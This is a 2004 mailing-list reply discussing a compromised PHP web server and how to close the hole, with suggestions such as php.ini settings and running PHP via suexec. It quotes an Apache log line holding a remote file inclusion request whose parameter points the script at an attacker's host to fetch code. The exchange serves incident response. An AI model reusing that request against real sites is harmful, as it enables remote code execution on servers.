On Wed, Sep 01, 2004 at 02:30:49AM +0200, Timo Veith wrote: > apache access.log: > 142.176.141.5 - - [29/Aug/2004:21:51:47 +0200] > "GET /path/to/index.php?p=http://142.176.141.5:113/ HTTP/1.1" 200 2979 > "-" "curl/7.10.3 (i686-pc-linux-gnu) libcurl/7.10.3 OpenSSL/0.9.7a > zlib/1.1.4" > > The path is the same as the PWD env var, which I found > in /proc/<pid>/environ of the bad process. Now this together with your > description could maybe explain how it happen.
Check whether the index.php looks like something that was created by the attacker, or it is just a legitimate but buggy script file. > How can I genereally close this hole for now? I guess there is a setting > in php.ini or so. I will take a look at it. Probably there is a setting for this very feature that facilitated this exploitation (HTTP-enabled open() I guess). But there are two problems with that: new security implications of certain PHP features are discovered rather regularily, and many users depend on such features. Actually allowing not-very-experienced programmers to run arbitrary code on your machine is the more general problem we are facing, for which there is no easy solution. My current plan is to run PHP via suexec, so that I can easily find out which user's website was cracked. Then I would shut down the particular web page and tell the client to either fix it or say goodbye ]:-> Unfortunately I hear that there are some PHP features (something having to do with authentication) which don't work when PHP is not run as an Apache module, so I cannot migrate all users in a batch. Generally, PHP is a little bit like a nightmare for me :-) regards, Marcin -- Marcin Owsiany <[EMAIL PROTECTED]> http://marcin.owsiany.pl/ GnuPG: 1024D/60F41216 FE67 DA2D 0ACA FC5E 3F75 D6F6 3A0D 8AA0 60F4 1216 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
